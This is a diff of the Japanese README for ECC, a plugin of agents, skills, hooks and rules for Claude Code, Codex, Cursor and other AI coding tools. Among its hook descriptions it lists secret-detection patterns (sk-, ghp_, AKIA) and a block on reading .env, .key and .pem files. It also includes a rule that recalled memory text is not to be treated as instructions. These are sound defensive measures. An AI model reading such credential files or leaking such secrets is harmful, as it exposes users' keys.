/multi-execute - オーケストレーションされたマルチエージェントワークフロー +| |-- multi-backend.md # /multi-backend - バックエンドのマルチサービスオーケストレーション +| |-- multi-frontend.md # /multi-frontend - フロントエンドのマルチサービスオーケストレーション +| |-- multi-workflow.md # /multi-workflow - 汎用マルチサービスワークフロー +| |-- sessions.md # /sessions - セッション履歴管理 +| |-- test-coverage.md # /test-coverage - テストカバレッジ分析 +| |-- update-docs.md # /update-docs - ドキュメントの更新 +| |-- update-codemaps.md # /update-codemaps - codemaps の更新 +| |-- python-review.md # /python-review - Python コードレビュー +|-- legacy-command-shims/ # /tdd や /eval などの廃止シムのオプトインアーカイブ +| |-- tdd.md # /tdd - tdd-workflow skill を推奨 +| |-- e2e.md # /e2e - e2e-testing skill を推奨 +| |-- eval.md # /eval - eval-harness skill を推奨 +| |-- verify.md # /verify - verification-loop skill を推奨 +| |-- orchestrate.md # /orchestrate - dmux-workflows または multi-workflow を推奨 +| +|-- rules/ # 常に従うガイドライン(~/.claude/rules/ecc/ にコピー) +| |-- README.md # 構成の概要とインストールガイド +| |-- common/ # 言語非依存の原則 +| | |-- coding-style.md # 不変性、ファイル構成 +| | |-- git-workflow.md # コミット形式、PR プロセス +| | |-- testing.md # TDD、80% カバレッジ要件 +| | |-- performance.md # モデル選択、コンテキスト管理 +| | |-- patterns.md # デザインパターン、スケルトンプロジェクト +| | |-- hooks.md # Hook アーキテクチャ、TodoWrite +| | |-- agents.md # サブエージェントへ委譲するタイミング +| | |-- security.md # 必須セキュリティチェック +| |-- typescript/ # TypeScript/JavaScript 固有 +| |-- python/ # Python 固有 +| |-- golang/ # Go 固有 +| |-- swift/ # Swift 固有 +| |-- php/ # PHP 固有 +| |-- arkts/ # HarmonyOS / ArkTS 固有 +| +|-- hooks/ # トリガーベースの自動化 +| |-- README.md # Hook のドキュメント、レシピ、カスタマイズガイド +| |-- hooks.json # すべての hooks 設定(PreToolUse、PostToolUse、Stop など) +| |-- memory-persistence/ # セッションライフサイクル hooks(長文ガイド) +| |-- strategic-compact/ # コンパクション提案(長文ガイド) +| +|-- scripts/ # クロスプラットフォームの Node.js スクリプト +| |-- lib/ # 共有ユーティリティ +| | |-- utils.js # クロスプラットフォームのファイル/パス/システムユーティリティ +| | |-- package-manager.js # パッケージマネージャーの検出と選択 +| |-- hooks/ # Hook の実装 +| | |-- session-start.js # セッション開始時にコンテキストを読み込む +| | |-- session-end.js # セッション終了時に状態を保存する +| | |-- pre-compact.js # コンパクション前の状態保存 +| | |-- suggest-compact.js # 戦略的コンパクション提案 +| | |-- evaluate-session.js # セッションからパターンを抽出 +| |-- setup-package-manager.js # インタラクティブなパッケージマネージャー設定 +| +|-- tests/ # テストスイート +| |-- lib/ # ライブラリテスト +| |-- hooks/ # Hook テスト +| |-- run-all.js # すべてのテストを実行 +| +|-- contexts/ # 動的システムプロンプト注入コンテキスト(長文ガイド) +| |-- dev.md # 開発モードコンテキスト +| |-- review.md # コードレビューモードコンテキスト +| |-- research.md # リサーチ/探索モードコンテキスト +| +|-- examples/ # 設定とセッションの例 +| |-- CLAUDE.md # プロジェクトレベル設定の例 +| |-- user-CLAUDE.md # ユーザーレベル設定の例 +| |-- saas-nextjs-CLAUDE.md # 実際の SaaS(Next.js + Supabase + Stripe) +| |-- go-microservice-CLAUDE.md # 実際の Go マイクロサービス(gRPC + PostgreSQL) +| |-- django-api-CLAUDE.md # 実際の Django REST API(DRF + Celery) +| |-- laravel-api-CLAUDE.md # 実際の Laravel API(PostgreSQL + Redis) +| |-- rust-api-CLAUDE.md # 実際の Rust API(Axum + SQLx + PostgreSQL) +| +|-- mcp-configs/ # MCP サーバー設定 +| |-- mcp-servers.json # GitHub、Supabase、Vercel、Railway など +| +|-- ecc_dashboard.py # デスクトップ GUI ダッシュボード(Tkinter) +| +|-- marketplace.json # セルフホストマーケットプレイス設定(/plugin marketplace add 用) +``` +
+ +
+ダッシュボード GUI + +デスクトップダッシュボードを起動して、ECC のコンポーネントを視覚的に探索できます: + +```bash +npm run dashboard +# または +python3 ./ecc_dashboard.py +``` + +**機能:** +- タブ形式のインターフェース:Agents、Skills、Commands、Rules、Settings +- ダーク/ライトテーマの切り替え +- フォントのカスタマイズ(ファミリーとサイズ) +- ヘッダーとタスクバーのプロジェクトロゴ +- すべてのコンポーネントを横断した検索とフィルター +
+ +## 主要な概念 + +
+Agents、skills、hooks、rules の解説 + +### Agents + +サブエージェントは、限定されたスコープで委譲されたタスクを処理します。例: ```markdown --- name: code-reviewer -description: コードの品質、セキュリティ、保守性をレビュー -tools: ["Read", "Grep", "Glob", "Bash"] +description: Reviews code for quality, security, and maintainability +tools: Read, Grep, Glob, Bash model: opus --- -あなたは経験豊富なコードレビュアーです... - +You are a senior code reviewer... ``` -### スキル +### Skills -スキルはコマンドまたはエージェントによって呼び出されるワークフロー定義: +Skills が主要なワークフローの入口です。直接呼び出すことも、自動的に提案されることも、agents から再利用されることもできます。ECC は移行期間中もメンテナンスされている `commands/` を引き続き同梱しており、廃止された短縮名シムは明示的なオプトイン専用として `legacy-command-shims/` に置かれています。新しいワークフローの開発は、まず `skills/` に置くべきです。 ```markdown -# TDD ワークフロー +# TDD Workflow -1. インターフェースを最初に定義 -2. テストを失敗させる (RED) -3. 最小限のコードを実装 (GREEN) -4. リファクタリング (IMPROVE) -5. 80%+ のカバレッジを確認 +1. Define interfaces first +2. Write failing tests (RED) +3. Implement minimal code (GREEN) +4. Refactor (IMPROVE) +5. Verify 80%+ coverage ``` -### フック +### Hooks -フックはツールイベントでトリガーされます。例 - console.log についての警告: +Hooks はツールイベントで発火します。例:console.log について警告する: ```json { @@ -558,25 +1090,851 @@ model: opus } ``` -### ルール +### Rules -ルールは常に従うべきガイドラインで、`common/`(言語非依存)+ 言語固有ディレクトリに組織化: +Rules は常に従うべきガイドラインで、`common/`(言語非依存)+ 言語固有のディレクトリに整理されています: ``` rules/ common/ # 普遍的な原則(常にインストール) - typescript/ # TS/JS 固有パターンとツール - python/ # Python 固有パターンとツール - golang/ # Go 固有パターンとツール + typescript/ # TS/JS 固有のパターンとツール + python/ # Python 固有のパターンとツール + golang/ # Go 固有のパターンとツール + swift/ # Swift 固有のパターンとツール + php/ # PHP 固有のパターンとツール + arkts/ # HarmonyOS / ArkTS のパターンと制約 ``` -インストールと構造の詳細は[`rules/README.md`](rules/README.md)を参照してください。 +インストール方法と構成の詳細は [`rules/README.md`](../../rules/README.md) を参照してください。 +
+## ガイド + +このリポジトリは生のコードです。ガイドがすべてを説明しています。 + + + + + + + +
+ +ECC 簡潔ガイド
+簡潔ガイド +
+
セットアップ、基礎、初日からの使い方。まずこれを読んでください。(スレッド) +
+ +ECC 長文ガイド
+長文ガイド +
+
コンテキストの経済性、メモリ、評価、並列エージェント。(スレッド) +
+ +ECC セキュリティガイド
+セキュリティガイド +
+
プロンプトインジェクション、hooks、MCP、AgentShield。(スレッド) +
+ +| トピック | 学べる内容 | +|-------|-------------------| +| トークン最適化 | モデル選択、システムプロンプトの削減、バックグラウンドプロセス | +| メモリ永続化 | セッション間でコンテキストを自動的に保存/読み込みする hooks | +| 継続的学習 | セッションからパターンを自動抽出して再利用可能な skills に変換 | +| 検証ループ | チェックポイント評価と継続的評価、グレーダーの種類、pass@k メトリクス | +| 並列化 | Git worktree、カスケード方式、インスタンスをスケールすべきタイミング | +| サブエージェントのオーケストレーション | コンテキスト問題、反復検索パターン | + +[コマンド クイックリファレンス](./COMMANDS-QUICK-REF.md) | [手動適用ガイド](../MANUAL-ADAPTATION-GUIDE.md) | [トラブルシューティング FAQ](../../TROUBLESHOOTING.md) | [ロードマップ](../ROADMAP.md) + +## なぜ ECC を選ぶのか + +| 仕組みがない場合 | ECC がある場合 | +| ------------------------------------------------------- | --------------------------------------------------------------------- | +| 計画はチャット履歴の中に消えていく | 計画は実装開始前に編集可能な成果物になる | +| 「TDD を使ってください」はモデルが忘れるかもしれない指示 | TDD は証拠付きのゲート化された RED -> GREEN -> REFACTOR ワークフローになる | +| 同じコンテキストがコードを書き、レビューもする | 新しいコンテキストのレビュアーがリグレッションと盲点を探す | +| メモリとは巨大なトランスクリプトを保存すること | セッションは要約、instincts、再利用可能な skills に蒸留される | +| 品質チェックはリマインダー頼み | hooks がプロンプトの外側で決定論的なチェックを強制できる | +| エージェント設定はデフォルトで信頼される | AgentShield がハーネス自体を攻撃対象領域としてスキャンする | + +### TDD:テスト駆動開発 + +```text +/ecc:plan "Add usage-based billing alerts" + -> confirm or edit the plan + -> activate tdd-workflow + -> capture RED evidence before implementation + -> implement until GREEN + -> review from fresh context + -> fix findings with regression tests + -> verify build, lint, types, and tests +``` + +成果物は単なるコードではありません。計画、失敗するテスト、成功するテスト、レビューでの指摘、最終検証という証拠の軌跡です。 + +### Skills がコンテキストを集中させる + +rules、skills、agents、hooks はそれぞれ異なる問題を解決します。これらの役割を分離しておくことで、ECC はリポジトリ全体をすべてのセッションに流し込むことなく能力を追加できます。 + +| 概念 | 何をするか | コンテキストでの振る舞い | +|---|---|---| +| Skills | TDD、セキュリティレビュー、ディープリサーチなどの再利用可能なワークフロー | タスクが必要とするときに読み込まれる | +| Agents | 独自のコンテキストとツール権限を持つスコープ限定のワーカー | 計画、実装、レビューを分離する | +| Rules | 永続的なプロジェクト標準や言語標準 | 常に読み込まれるため、選択的にインストールする | +| Hooks | ハーネスのイベントでトリガーされるスクリプト | モデルのコンテキスト外で実行される | +| Instincts | 実際のセッションから学習された信頼度スコア付きのパターン | 関連するときに呼び出される | + +### ハーネス間でコンテキストを共有する + +ECC の Memory Vault は、Claude、Codex、Hermes、OpenClaw、Kimi、その他のハーネスに対して、永続的なコンテキストと引き継ぎのための単一のローカルで検査可能な Markdown 形式を提供します。プロジェクトおよびチームのメモリは `.ecc/memory/` に、ユーザーのメモリは `~/.ecc/memory/` に置かれます。 + +skill のみ、minimal、manual、Claude plugin のインストールでは、Memory Vault ランタイムは `PATH` に配置されません。CLI やオプションの MCP サーバーを使う前に、npm ランタイムを別途インストールしてください: + +```bash +npm install -g ecc-universal@2.2.1 +ecc memory init --scope project +ecc memory search "authentication migration" --target-harness codex +ecc memory doctor +``` + +メモリは未レビューのコンテキストであり、実行可能なポリシーではありません。重要な主張は権威ある情報源と照合して検証し、受け入れた知識は管理されたプロジェクトドキュメントに昇格させてください。オプションの `ecc-memory-mcp` サーバーは、デフォルトでは自身を有効化することなく、同じ範囲に限定された save、search、read、doctor の機能を公開します。 + +[Unified Memory ワークフローを開く →](../../skills/unified-memory/SKILL.md) + +
+Memory Vault の詳細:スコープ、引き継ぎ、信頼境界 + +Memory Vault は、ベンダーのトランスクリプトをコピーしたりエージェント間でコンテキストをメールしたりする代わりに、移植可能な `ecc.memory.v1` Markdown ドキュメントを保存します。プロジェクトメモリはフェイルクローズドの `.gitignore` で保護されています。チームスコープは、人間が検査しバージョン管理された共有にのみ使用してください。チームメモリはコミットされた後も未レビューのコンテキストのままです。 + +上記のランタイムをインストールしたら、CLI とオプションの MCP エントリポイントが利用可能であることを確認してください: + +```bash +ecc memory --help +command -v ecc-memory-mcp +``` + +```bash +# プロジェクトの vault を初期化する。 +ecc memory init --scope project + +# 引き継ぎ本文を通常のファイルに書き、次のハーネスを指定する。 +ecc memory handoff \ + --from hermes \ + --target codex \ + --title "Continue authentication migration" \ + --body-file ./handoff.md + +# 別のハーネスから呼び出す。 +ecc memory search "authentication migration" --target-harness codex +ecc memory read + +# チームメモリを共有する前に vault を検証する。 +ecc memory doctor +``` + +メモリ本文は `--stdin` または `--body-file` 経由でのみ受け付けられ、コマンドライン引数の値としては受け付けられません。最初のリリースでは、すべての vault エントリは未レビューかつ作成のみです。人間のレビューは、メモリの信頼度を変えるのではなく、受け入れた知識を管理されたプロジェクトドキュメントに昇格させます。通常の検索による呼び出しは、アクティブなプロジェクトメモリとチームメモリを返します。ID を直接指定した読み取りでは、非アクティブなエントリを検査できます。ユーザースコープの呼び出しは明示的に要求する必要があります。エージェントは重要な主張を権威ある情報源と照合して検証しなければならず、呼び出した本文を実行可能な指示やポリシーとして扱ってはなりません。 + +オプトインの MCP アクセスには、[`mcp-configs/mcp-servers.json`](../../mcp-configs/mcp-servers.json) の `ecc-memory-vault` エントリを必要な各ハーネスに追加し、`ecc-memory-mcp` を実行してください。サーバーが公開するのは `memory_save`、`memory_search`、`memory_read`、`memory_doctor` のみです。各サーバーは小文字の `ECC_MEMORY_HARNESS` アイデンティティを指定して起動する必要があります。このアイデンティティはサーバーに束縛されており、ツール呼び出し側から指定することはできません。ユーザースコープにはさらに、オペレーターが管理する `ECC_MEMORY_ALLOW_USER_SCOPE=1` のオプトインが必要です。ワークフローと信頼境界については [`skills/unified-memory/SKILL.md`](../../skills/unified-memory/SKILL.md) を、機能契約については [`docs/design/ecc-memory-vault.md`](../design/ecc-memory-vault.md) を参照してください。 +
+ +## プラットフォームサポート + +ECC のコアとなる Node.js CLI とマネージドインストーラーは **Windows、macOS、Linux** で動作しますが、オプション機能は完全に同等ではありません。一部の継続的学習、GAN、オーケストレーションのパスは依然として Bash または Python を必要とし、ハーネスごとに公開されている hook、agent、skill の API も異なります。 + +| プラットフォーム | ステータス | 現在の制限 | +|---|---|---| +| Linux | コアをサポート | オプション機能には Bash、Python、またはプロバイダー固有のツールが必要な場合があります。 | +| macOS | コアをサポート | スタンドアロンの GAN シェルパスはシステムの Bash 3.2 と互換性がなく、現在スコア解析の不具合があります([#2674](https://github.com/affaan-m/ECC/issues/2674))。 | +| Windows + WSL | コアをサポート | WSL は Linux のパスに従います。Windows ホスト側の統合はハーネスによって異なります。 | +| Windows ネイティブ | 制限付きでサポート | 継続的学習 v2 のオブザーバーデーモンと memory-vault の書き込みには、ネイティブ Windows での未解決の不具合があります([#2489](https://github.com/affaan-m/ECC/issues/2489)、[#2626](https://github.com/affaan-m/ECC/issues/2626))。シェルに依存するオプション機能には Git Bash/WSL が必要か、利用できません。 | + +以下の `stable`、`beta`、`experimental`、`instruction-only` は、マーケティング上の等級ではなく、機能の状態を示すものとして扱ってください。 + +| ハーネス | ステータス | 推奨される配布方法 | 重要な制限 | +|---|---|---|---| +| Claude Code | Stable(主要) | Plugin または選択的インストーラー | plugin はインストール済みカタログをモデルに通知します。コンテキストの占有量が重要な場合は、選択的/manual profile を使用してください。シェルに依存するオプションの skills はすべての OS に移植可能ではありません。 | +| Codex | ネイティブ plugin をサポート | Codex マーケットプレイス plugin またはリポジトリ設定 | ネイティブ hooks には明示的な信頼の決定が必要で、Claude の hook profile は使用しません。レガシーの sync は互換性維持のみです。 | +| Cursor | Beta プロジェクトアダプター | `.cursor/` への選択的インストーラー | agent の検出は Cursor のビルドによって異なり、ECC のインストーラーパスはまだ同一の hook セットを公開していません([#2419](https://github.com/affaan-m/ECC/issues/2419))。 | +| OpenCode | Beta ビルド済み plugin | plugin をビルドしてから選択的インストーラー | ECC はカタログのサブセットを同梱しています。OpenCode でプロバイダーを接続しモデルを選択してください([#2617](https://github.com/affaan-m/ECC/issues/2617))。 | +| GitHub Copilot | Instruction-only | チェックインされた instructions とプロンプトファイル | ECC の hooks、ランタイム agents、委譲、ネイティブの skill 検出はありません。 | +| Gemini、Zed、Antigravity、Qwen、Hermes、OpenClaw、Kimi、CodeBuddy、JoyCode | Experimental/最小限のアダプター | ハーネス固有の選択的ターゲット | ファイル配置と instructions の移植性はテスト済みです。Claude との完全な機能同等性は主張していません。 | + +
+パッケージマネージャーの検出 + +plugin は、以下の優先順位でお好みのパッケージマネージャー(npm、pnpm、yarn、bun)を自動検出します: + +1. **環境変数**:`CLAUDE_PACKAGE_MANAGER` +2. **プロジェクト設定**:`.claude/package-manager.json` +3. **package.json**:`packageManager` フィールド +4. **ロックファイル**:package-lock.json、yarn.lock、pnpm-lock.yaml、bun.lockb からの検出 +5. **グローバル設定**:`~/.claude/package-manager.json` +6. **フォールバック**:最初に利用可能なパッケージマネージャー + +お好みのパッケージマネージャーを設定するには: + +```bash +# 環境変数で設定 +export CLAUDE_PACKAGE_MANAGER=pnpm + +# グローバル設定で設定 +node scripts/setup-package-manager.js --global pnpm + +# プロジェクト設定で設定 +node scripts/setup-package-manager.js --project bun + +# 現在の設定を検出 +node scripts/setup-package-manager.js --detect +``` + +または `/setup-pm` コマンドを使用してください。 +
+ +
+Hook ランタイム制御(環境変数) + +ランタイムフラグを使って厳格さを調整したり、特定の hooks を一時的に無効化したりできます: + +```bash +# Hook の厳格さ profile(デフォルト:standard) +export ECC_HOOK_PROFILE=standard + +# 無効化する hook ID をカンマ区切りで指定 +export ECC_DISABLED_HOOKS="pre:bash:tmux-reminder,post:edit:typecheck" + +# SessionStart の追加コンテキストの上限(デフォルト:8000 文字) +export ECC_SESSION_START_MAX_CHARS=4000 + +# 低コンテキスト/ローカルモデル環境向けに SessionStart の追加コンテキストを完全に無効化 +export ECC_SESSION_START_CONTEXT=off + +# セッション一時ファイルの保持期間(日数、デフォルト:30)。 +# 0、off、false、disabled、never、none のいずれかを設定するとすべてのセッションを保持(削除を無効化)。 +export ECC_SESSION_RETENTION_DAYS=14 + +# SessionStart がコンテキストに注入する学習済み instincts の上限(デフォルト:6) +export ECC_MAX_INJECTED_INSTINCTS=6 + +# instinct が注入されるために必要な最小信頼度、0-1(デフォルト:0.7) +export ECC_INSTINCT_CONFIDENCE_THRESHOLD=0.7 + +# SessionStart は注入する instincts を信頼度 + プロジェクト/スタックとの関連性で +# ランク付けする(デフォルト:on)。プロジェクトスコープの instincts、および +# domain/trigger が検出されたスタック(言語、フレームワーク、加えて terraform/dbt マーカー)に +# 一致する instincts は、無関係な高信頼度のものより上に表示されるよう +# 小さなランキングブーストを受ける。off/false/0/no を設定すると信頼度のみでランク付けする。 +export ECC_INSTINCT_RELEVANCE_RANKING=on + +# コンテキスト/スコープ/ループの警告は維持しつつ、API 従量課金のコスト見積もりを抑制 +export ECC_CONTEXT_MONITOR_COST_WARNINGS=off +``` + +Windows PowerShell: + +```powershell +[Environment]::SetEnvironmentVariable('ECC_CONTEXT_MONITOR_COST_WARNINGS', 'off', 'User') +[Environment]::SetEnvironmentVariable('ECC_SESSION_RETENTION_DAYS', '14', 'User') +``` +
+ +
+Agent データホーム(マルチハーネスの分離) + +メモリ永続化 hooks(セッション要約、学習済み skills、セッションエイリアス、メトリクス)は、単一の agent データルートの下にデータを保存します。デフォルトではそのルートは `~/.claude` です。同じマシンで Claude Code と Cursor の両方で ECC を使用する場合、2つの環境が互いのセッションファイルを上書きしないように、Cursor 用に別のルートを設定してください: + +```bash +# Cursor 専用の境界(Claude Code はデフォルトの ~/.claude を維持) +export ECC_AGENT_DATA_HOME="$HOME/.cursor/ecc" +``` + +このルートの下で解決されるパスには以下が含まれます: + +- `$ECC_AGENT_DATA_HOME/session-data/`:セッション要約 +- `$ECC_AGENT_DATA_HOME/skills/learned/`:evaluate-session による学習済み skills +- `$ECC_AGENT_DATA_HOME/session-aliases.json`:セッションエイリアス +- `$ECC_AGENT_DATA_HOME/metrics/`:コストとアクティビティのメトリクス + +[affaan-m/ECC#2065](https://github.com/affaan-m/ECC/issues/2065) を参照してください。 +
+ +
+ツール横断の機能マップとハーネスごとの注記 + +### ツール横断の機能マップ + +| 機能 | Claude Code | Codex | Cursor | OpenCode | GitHub Copilot | +|---|---|---|---|---|---| +| Instructions | ネイティブ | ネイティブ `AGENTS.md` | プロジェクト rules | Plugin の instructions | ネイティブ instruction ファイル | +| Skills | ネイティブのインストール済みセット | ネイティブ plugin セット | ビルド依存/プロジェクトセット | ビルド済みサブセット | プロンプト/instruction からの参照のみ | +| Agents/委譲 | ネイティブ agents | Codex マルチエージェントロール。Claude の agent ファイルはロールとしてインストールされない | ビルド依存のプロジェクト agents | Plugin の agents | 非対応 | +| ECC hooks | ネイティブ plugin hooks | 明示的な信頼を伴うネイティブのレビュー済みサブセット | Cursor hook アダプター。インストールパスの差異は残る | Plugin イベント | 非対応 | +| MCP 設定 | 利用可能、明示的な有効化が必要 | ネイティブ plugin マニフェスト。レガシー sync は TOML をマージ可能 | 明示的なプロジェクト/ユーザー設定 | プロバイダー/plugin 設定 | ECC からは提供されない | +| Claude Code との同等性 | 主要リファレンス | 部分的 | 部分的 | 部分的 | 同等性の対象外 | + +**主要なアーキテクチャ上の決定:** +- ルートの **AGENTS.md** はツール横断の汎用ファイルです(Claude Code、Cursor、Codex、OpenCode が読み込みます。GitHub Copilot は代わりに `.github/copilot-instructions.md` を使用します) +- **DRY アダプターパターン**により、Cursor は Claude Code の hook スクリプトを重複なく再利用できます +- **Skills 形式**(YAML frontmatter 付きの SKILL.md)は Claude Code、Codex、OpenCode で共通に機能します +- Codex のより限定的なネイティブ hook セットは、`AGENTS.md`、オプションの `model_instructions_file` オーバーライド、サンドボックス権限によって補完されます + +
+Cursor IDE サポートの詳細 + +ECC は、Cursor のプロジェクトレイアウトに合わせて調整された hooks、rules、agents、skills、コマンド、MCP 設定による Cursor IDE サポートを提供します。 + +```bash +# macOS/Linux +./install.sh --target cursor typescript +./install.sh --target cursor python golang swift php +``` + +```powershell +# Windows PowerShell +.\install.ps1 --target cursor typescript +.\install.ps1 --target cursor python golang swift php +``` + +#### Cursor 向けに含まれるもの + +| コンポーネント | 数 | 詳細 | +|-----------|-------|---------| +| Hook イベント | 15 | sessionStart、beforeShellExecution、afterFileEdit、beforeMCPExecution、beforeSubmitPrompt、その他 10 個 | +| Hook スクリプト | 16 | 共有アダプター経由で `scripts/hooks/` に委譲する薄い Node.js スクリプト | +| Rules | 34 | 共通 9 個(alwaysApply)+ 言語固有 25 個(TypeScript、Python、Go、Swift、PHP) | +| Agents | 48 | インストール時に `.cursor/agents/ecc-*.md` として配置。ユーザーやマーケットプレイスの agents との衝突を避けるためプレフィックス付き | +| Skills | 共有 + 同梱 | 翻訳された追加分は `.cursor/skills/` に配置 | +| コマンド | 共有 | インストール時は `.cursor/commands/` | +| MCP 設定 | 共有 | インストール時は `.cursor/mcp.json` | + +#### Cursor の読み込みに関する注記 + +ECC はルートの `AGENTS.md` を `.cursor/` にインストールしません。Cursor はネストされた `AGENTS.md` ファイルをディレクトリのコンテキストとして扱うため、ECC のリポジトリのアイデンティティをホストプロジェクトにコピーすると、そのプロジェクトを汚染してしまいます。 + +Cursor ネイティブの読み込み動作は Cursor のビルドによって異なる場合があります。ECC は agents を `.cursor/agents/ecc-*.md` としてインストールします。お使いの Cursor ビルドがプロジェクト agents を公開していない場合でも、これらのファイルは隠れたグローバルプロンプトコンテキストとしてではなく、明示的なリファレンス定義として機能します。 + +#### メモリとデータの分離(Cursor + Claude Code) + +ECC のメモリ hooks は Claude Code と同じ `scripts/hooks/*.js` を再利用します。Cursor では、ECC はメモリを**自動的に `~/.claude` の外に**保つよう試みます: + +1. **Cursor の `sessionStart` hook**(`--target cursor` で `.cursor/hooks.json` にインストール)が、composer セッション全体に `ECC_AGENT_DATA_HOME` を注入します。 +2. **Hook ランタイムのデフォルト**:`CURSOR_VERSION` または `CURSOR_PROJECT_DIR` が存在する場合、環境変数が未設定なら hooks はデフォルトで `~/.cursor/ecc` を使用します。 +3. **プロジェクト設定**:`.cursor/ecc-agent-data.json` がパス(`agentDataHome`)を文書化し、上書きします。 +4. **常時有効な rule**:`.cursor/rules/ecc-agent-data-home.mdc` が、メモリの保存場所を agent に思い出させます。 + +明示的に上書きすることも引き続き可能です: + +```bash +export ECC_AGENT_DATA_HOME="$HOME/.cursor/ecc" +``` + +意図的に Claude Code とメモリを**共有**するには、シェルまたは `.cursor/ecc-agent-data.json` で `ECC_AGENT_DATA_HOME=~/.claude` を設定してください。 + +継続的学習 v2 の instincts は、引き続き `CLV2_HOMUNCULUS_DIR`(デフォルト `~/.local/share/ecc-homunculus`)の下に別途保存されます。 + +#### Hook アーキテクチャ(DRY アダプターパターン) + +Cursor は **Claude Code より多くの hook イベント**を持っています(20 対 8)。`.cursor/hooks/adapter.js` モジュールが Cursor の stdin JSON を Claude Code の形式に変換するため、既存の `scripts/hooks/*.js` を重複なく再利用できます。 + +``` +Cursor stdin JSON -> adapter.js -> transforms -> scripts/hooks/*.js + (shared with Claude Code) +``` + +主要な hooks: +- **beforeShellExecution**:tmux 外での開発サーバー起動をブロック(exit 2)、git push のレビュー +- **afterFileEdit**:自動フォーマット + TypeScript チェック + console.log の警告 +- **beforeSubmitPrompt**:プロンプト内のシークレット(sk-、ghp_、AKIA パターン)を検出 +- **beforeTabFileRead**:Tab による .env、.key、.pem ファイルの読み取りをブロック(exit 2) +- **beforeMCPExecution / afterMCPExecution**:MCP の監査ログ + +#### Rules の形式 + +Cursor の rules は `description`、`globs`、`alwaysApply` を持つ YAML frontmatter を使用します: + +```yaml --- +description: "TypeScript coding style extending common rules" +globs: ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx"] +alwaysApply: false +--- +``` +
-## テストを実行 +
+Codex macOS アプリ + CLI サポートの詳細 -プラグインには包括的なテストスイートが含まれています: +ECC は、macOS アプリと CLI 向けに、サポート対象のネイティブ Codex マーケットプレイス plugin とリポジトリローカルの設定を提供します。ネイティブ plugin には共有 skills、MCP 設定、レビュー済みの hook サブセットが含まれ、Codex は hook の信頼をユーザーの明示的な管理下に置きます。従来の sync パスは互換性維持のみとして残っています。リポジトリのナビゲーション、各領域の所有権、PR diff パケットのガイダンスについては、[`docs/CODEX-NAVIGATION-GUIDE.md`](../CODEX-NAVIGATION-GUIDE.md) から始めてください。 + +```bash +# 現在推奨されるインストール:リポジトリのマーケットプレイスから ECC のネイティブ plugin を追加 +codex plugin marketplace add affaan-m/ECC +codex plugin add ecc@ecc +codex plugin list --json + +# またはリポジトリ内で Codex CLI を実行:AGENTS.md と .codex/ が自動検出される +codex +``` + +意図的に必要な場合は、レガシーのコピー式設定による互換性も引き続き利用できます: + +```bash +# 互換性維持のみのマネージド sync を ~/.codex に実行 +npm install && bash scripts/sync-ecc-to-codex.sh + +# またはリファレンス設定のみを手動でコピー +cp .codex/config.toml ~/.codex/config.toml +``` + +sync スクリプトは、**追加のみ**の戦略を使って ECC の MCP サーバーを既存の `~/.codex/config.toml` に安全にマージします。既存のサーバーを削除したり変更したりすることは決してありません。変更をプレビューするには `--dry-run` を、ECC サーバーを最新の推奨設定に強制的に更新するには `--update-mcp` を付けて実行してください。 + +Context7 については、ECC は正規の Codex セクション名 `[mcp_servers.context7]` を使用しつつ、引き続き `@upstash/context7-mcp` パッケージを起動します。すでにレガシーの `[mcp_servers.context7-mcp]` エントリがある場合、`--update-mcp` がそれを正規のセクション名に移行します。 + +Codex macOS アプリ: +- このリポジトリをワークスペースとして開きます。 +- ルートの `AGENTS.md` は自動検出されます。 +- `.codex/config.toml` と `.codex/agents/*.toml` はプロジェクトローカルに保つのが最適です。 +- リファレンスの `.codex/config.toml` は意図的に `model` や `model_provider` を固定していないため、上書きしない限り Codex は自身の現在のデフォルトを使用します。 +- オプション:グローバルなデフォルトとして `.codex/config.toml` を `~/.codex/config.toml` にコピーできます。`.codex/agents/` もコピーしない限り、マルチエージェントのロールファイルはプロジェクトローカルに保ってください。 + +#### リポジトリとレガシー設定レイヤーに含まれるもの + +| コンポーネント | 数 | 詳細 | +|-----------|-------|---------| +| 設定 | 1 | `.codex/config.toml`:トップレベルの approvals/sandbox/web_search、MCP サーバー、通知、profiles | +| AGENTS.md | 2 | ルート(汎用)+ `.codex/AGENTS.md`(Codex 固有の補足) | +| Skills | 32 | `.agents/skills/`:skill ごとに SKILL.md + agents/openai.yaml | +| MCP サーバー | 6 | GitHub、Context7、Exa、Memory、Playwright、Sequential Thinking(`--update-mcp` sync で Supabase を加えると 7) | +| Profiles | 2 | `strict`(読み取り専用サンドボックス)と `yolo`(完全自動承認) | +| Agent ロール | 3 | `.codex/agents/`:explorer、reviewer、docs-researcher | + +`.agents/skills/` にある skills は Codex によって自動的に読み込まれます。`claude-api`、`frontend-design`、`skill-creator` などの Anthropic 公式の skills は、意図的にここには再同梱していません。公式版が必要な場合は [`anthropics/skills`](https://github.com/anthropics/skills) からインストールしてください。 + +#### 主要な制限 + +Codex は **Claude 形式の hook 実行との同等性を提供しません**。ネイティブの ECC plugin には `/hooks` での明示的な信頼を必要とするレビュー済み hook サブセットが含まれ、`AGENTS.md`、オプションの `model_instructions_file` オーバーライド、サンドボックス/承認設定が残りの instruction とポリシーのレイヤーを提供します。 + +#### マルチエージェントサポート + +現在の Codex ビルドは安定したマルチエージェントワークフローをサポートしています。 + +- `.codex/config.toml` で `features.multi_agent = true` を有効化します +- `[agents.]` の下でロールを定義します +- 各ロールを `.codex/agents/` 配下のファイルに向けます +- CLI で `/agent` を使って子エージェントを確認・操作します + +ECC は 3 つのサンプルロール設定を同梱しています: + +| ロール | 目的 | +|------|---------| +| `explorer` | 編集前の読み取り専用のコードベース証拠収集 | +| `reviewer` | 正確性、セキュリティ、不足テストのレビュー | +| `docs_researcher` | リリース/ドキュメント変更前のドキュメントと API の検証 | + +
+ +
+Zed サポート + +ECC は、プロジェクトローカルの設定、フラット化された rules、agents、コマンド、skills のための保守的な `.zed` アダプターを通じて Zed プロジェクトをサポートします。 + +```bash +./install.sh --profile minimal --target zed +``` + +```powershell +.\install.ps1 --profile minimal --target zed +``` + +このアダプターは ECC が管理するファイルを `.zed/` の下に書き込み、BYOK/OpenRouter の認証情報をリポジトリの外に保ちます。Zed のアカウントや API キーは、Zed 自身の設定 UI またはローカルのユーザー設定から設定してください。 +
+ +
